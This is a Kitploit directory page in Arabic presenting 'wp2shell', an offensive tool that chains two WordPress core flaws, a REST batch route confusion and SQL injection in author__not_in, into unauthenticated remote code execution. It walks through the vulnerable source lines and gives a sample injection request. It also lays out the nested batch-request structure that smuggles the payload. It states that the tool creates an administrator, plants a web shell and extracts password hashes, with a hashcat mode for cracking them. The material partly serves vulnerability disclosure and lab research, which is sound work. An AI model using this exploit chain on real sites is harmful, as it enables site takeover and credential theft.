Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
wp2shell — CVE-2026-63030 + CVE-2026-60137 - “wp2shell”: RCE غير مصدق في نواة ووردبريس | Kitploit
أدوات/GitHubGitHub/0xsha/wp2shell
كسر كلمات المرورتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالقيادة والسيطرةالتعلم والتعليمالفريق الأحمرتطوير الحمولاتمختبرات وتدريب عملي
GitHub0xsha/wp2shell
963043منذ 3 أشهرتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

wp2shell

CVE-2026-63030 + CVE-2026-60137 - “wp2shell”: RCE غير مصدق في نواة ووردبريس

عرض المستودع

CVE-2026-63030 + CVE-2026-60137 - "wp2shell": RCE غير مصادق عليه في نواة ووردبريس

ارتباك مسار REST API (CVE-2026-63030) متسلسل مع حقن SQL في WP_Query author__not_in (CVE-2026-60137) → تنفيذ كود عن بُعد بدون مصادقة مسبقة على تثبيت ووردبريس افتراضي.

مكتشف من قبل Adam Kues (Assetnote / Searchlight Cyber)، تم الإفصاح عنه في 2026-07-17. الإرشادات: GHSA-ff9f-jf42-662q, GHSA-fpp7-x2x2-2mjf.

السلسلة (RCE بدون مصادقة)ووردبريس 6.9.0 - 6.9.4 و 7.0.0 - 7.0.1
حقن SQL فقط (يحتاج إلى إضافة/قالب مساعد)6.8.0 - 6.8.5
غير متأثر≤ 6.8 لـ ارتباك الدفعة؛ 6.9.5 / 7.0.2 / 7.1-beta2 (تم التصحيح)
الشروط المسبقةREST API يمكن الوصول إليه؛ لا يوجد مخبأ كائنات دائم (Redis/Memcached)؛ ≥1 منشور منشور
المصادقة المطلوبةلا يوجد
التأثيربدون مصادقة → إنشاء مدير جديد → تنفيذ كود (حقن SQL أيضًا يسحب تجزئة المدير)

العرض التوضيحي

https://github.com/user-attachments/assets/7f9cc52c-3f31-4339-9192-e31e506684f6

ما يضيفه هذا المستودع

  • أداة أصلية واحدة تعتمد على المكتبة القياسية فقط (wp2shell.py) توحد أفضل ما في ستة PoCs عامة في ملف واحد، بدون تبعية requests ودون ميزات معطلة.
  • RCE كامل بدون كسر للتجزئة، تم التحقق منه من البداية إلى النهاية في المختبر: shell بدون بيانات اعتماد يزيف WP_Post مزيفًا عبر ارتباك UNION لمنشور واحد، ويوصل المخصّص لإنشاء مدير جديد (POST /wp/v2/users)، ويسجل الدخول، ويسقط شيل ويب محمي برمز مميز. سحب تجزئة المدير باستخدام حقن SQL (read --preset users) محفوظ كمسار ثانٍ تم التحقق منه.
  • كاشف ارتباك مستقل عن الإصدار (block_cannot_read) يُستخدم كفحص أولي غير تخريبي.
  • نقل إنتاجي على كل أمر: TLS بتوقيع ذاتي، رؤوس مخصصة، وكيل مستخدم مخصص، وكيل، إعادة محاولات، تأخير الطلب.
  • مسار حقن SQL مساعد تم التحقق منه للإصدار 6.8.x (sqli) لا تمتلكه PoCs الأخرى.
  • مختبرات Docker قابلة للتكرار بالإضافة إلى مصفوفة موثوقية الإصدار حسب قاعدة البيانات، مع كل نتيجة تم التحقق منها في المختبر.
  • وضع hashcat لتجزئة كلمة المرور الجديدة $wp$2y$ (-m 35500).
wp2shell/
├── README.md              ← أنت هنا
├── wp2shell.py            ← PoC الموحدة (ملف واحد، مكتبة قياسية فقط، بواسطة 0xsha)
└── lab/                   ← مختبرات Docker قابلة للتكرار + مصفوفة الموثوقية
    ├── docker-compose.yml         (مختبر 6.9.4 الافتراضي)
    ├── docker-compose.matrix.yml  (مُعامل: أي إصدار × MySQL/MariaDB)
    ├── docker-compose.sqli.yml    (مختبر "حقن SQL فقط" 6.8.3)
    ├── matrix.sh                  (تشغيل مصفوفة الموثوقية بأكملها)
    └── sqli-only/facilitator.php  (إضافة صغيرة: المُساعد للإصدار 6.8.x)
)

ستة PoCs عامة التي تستمد منها هذه الأداة ليست مودعة هنا؛ تم ربطها في [الإسناد](#5-الإسناد).

كل ما يلي تم **التحقق منه في مختبر Docker المحلي** (انظر [§4](#4-مصفوفة-الإصدار-قاعدة-البيانات-ما-اختبرناه-فعليًا))؛ الادعاءات التي *لم* تُدار في المختبر معلّمة على هذا النحو.

---

## 1. تفاصيل الثغرة - تعمق في الكود

السلسلة تربط عيبين مستقلين. أرقام الأسطر من مصدر **ووردبريس 6.9.4 الحقيقي** (مستخرج من `wordpress:6.9.4-apache`).

### العيب أ - حقن SQL في `author__not_in` (CVE-2026-60137)

`wp-includes/class-wp-query.php`، `WP_Query::get_posts()`:

```php
2403  if ( ! empty( $query_vars['author__not_in'] ) ) {
2404      if ( is_array( $query_vars['author__not_in'] ) ) {                 // ← الحارس يعمل فقط مع المصفوفات
2405          $query_vars['author__not_in'] = array_unique( array_map( 'absint', $query_vars['author__not_in'] ) );
2406          sort( $query_vars['author__not_in'] );
2407      }
2408      $author__not_in = implode( ',', (array) $query_vars['author__not_in'] );   // ← السلسلة تمر مباشرة
2409      $where         .= " AND {$wpdb->posts}.post_author NOT IN ($author__not_in) ";  // ← إدراج خام
2410  } elseif ( ! empty( $query_vars['author__in'] ) ) {
...
2415      $author__in = implode( ',', array_map( 'absint', array_unique( (array) $query_vars['author__in'] ) ) );  // ← absint داخل implode

سلسلة author__not_in تتجاوز حارس is_array() (2404)؛ implode(',', (array)"…") يعيدها كما هي (2408) ويتم تسلسلها خامًا في SQL (2409). author__in الشقيق (2415) يعيد تطبيق array_map('absint', …) داخل implode وهو آمن - هذا array_map المفقود هو العيب. القيمة تصل كـ ... post_author NOT IN (<value>) ...، لذا 0) <sql>-- - يغلق القائمة ويضيف SQL.

الحصول على سلسلة هناك هو الجزء الصعب: نقطة نهاية REST للمنشورات ترسم author_exclude → author__not_in (class-wp-rest-posts-controller.php:247) ولكنها تعلن عنها كـ 'type' => 'array' من الأعداد الصحيحة، لذا تقوم النواة بإكراه/رفض السلسلة:

GET /wp-json/wp/v2/posts?author_exclude=1) OR SLEEP(3)-- -
→ 400 "author_exclude[0] is not of type integer."      (تم التحقق على 6.8.3)

لهذا السبب العيب أ وحده هو فقط "مساعد". العيب ب يهرب السلسلة عبر التحقق الصحيح على 6.9+.

العيب ب - ارتباك مسار REST API للدفعة (CVE-2026-63030)

wp-includes/rest-api/class-wp-rest-server.php، serve_batch_request_v1():

1720  if ( false === $parsed_url ) {
1721      $requests[] = new WP_Error( 'parse_path_failed', … );   // مسار سيئ يصبح WP_Error في $requests

1749  foreach ( $requests as $single_request ) {
1750      if ( is_wp_error( $single_request ) ) {
1752          $validation[] = $single_request;     // ← يُدفع إلى $validation …
1753          continue;                            // ← … ولكن $matches يتم تخطيها
1754      }
1757      $matches[] = $match;                     // ← $matches تنمو فقط للطلبات الصالحة

1825  foreach ( $requests as $i => $single_request ) {   // مفهرسة حسب الموقع في $requests
1841      $match = $matches[ $i ];                        // ← $matches أقصر → إزاحة +1
1861      $result = $this->respond_to_request( $single_request, $route, $handler, $error );

طلب فرعي WP_Error يُدفع إلى $validation[] (1752) ولكن ليس إلى $matches[] (الـ continue عند 1753 يتخطى 1757)، لذا $matches تصبح أقصر و $matches[$i] (1841) تحتوي على معالج الطلب التالي. يتم إرسال الطلب i مع معالج الطلب i+1، حاملًا معاملاته الخاصة ونتيجة التحقق الخاصة به (التي تم تمريرها).

أصل الانحدار (تم التحقق 6.8.3 ← 6.9.4 diff): في 6.8.3 الحلقة تدفع $matches[] = $match لـ كل طلب والمسارات السيئة تُسقط في الحلقة الأولى - المصفوفات تبقى متوازية، لا إزاحة. إعادة الهيكلة في 6.9.0 أدخلت الإزاحة. هذا بالضبط لماذا 6.8.x هي "حقن SQL فقط" وتبدأ سلسلة RCE من 6.9.0.

الإصلاح الموثق (6.9.5 / 7.0.2)

التصحيح يضيف $matches[] لإدخالات الخطأ أيضًا، يشدد إعادة الدخول، ويحلل author__not_in بمساعدة قائمة معرفات. (6.9.5 لم تكن على Docker Hub وقت الاختبار، لذا هذا من الإرشادات، ليس diff في المختبر.)


2. طريقة الاستغلال

2.1 ارتباك المسار المزدوج

مخطط الدفعة يسمح فقط بالطلبات الفرعية POST/PUT/PATCH/DELETE، ولكن get_items للمنشورات (مصرف author_exclude) هو للقراءة فقط (GET)، لذا يتم تداخل الارتباك مرتين:

// الدفعة الخارجية → POST /wp-json/batch/v1
{"requests": [
  {"method":"POST","path":"///"},                       // [0] مسار سيئ → WP_Error → إزاحة +1
  {"method":"POST","path":"/wp/v2/posts",               // [1] الناقل: تم التحقق منه كإنشاء منشور →
     "body": { /* الدفعة الداخلية */ }},                     //     جسم `requests` الخاص به لا يُفحص في المخطط أبدًا
  {"method":"POST","path":"/batch/v1",                  // [2] معالج → [1] يتم إرساله كـ serve_batch_request_v1
     "body":{"requests":[]}}                             //     (لا يوجد permission_callback → غير مصادق)
]}
// الدفعة الداخلية (GET الآن مسموح به):
//   [0] POST ///                                        WP_Error → إزاحة داخلية +1
//   [1] GET /wp/v2/users?author_exclude=<PAYLOAD>       المستخدمون ليس لديهم author_exclude → PAYLOAD يمر دون تغيير
//   [2] GET /wp/v2/posts                                معالج [2] = posts get_items → يشغل [1] → حقن SQL
تنزيل الأداة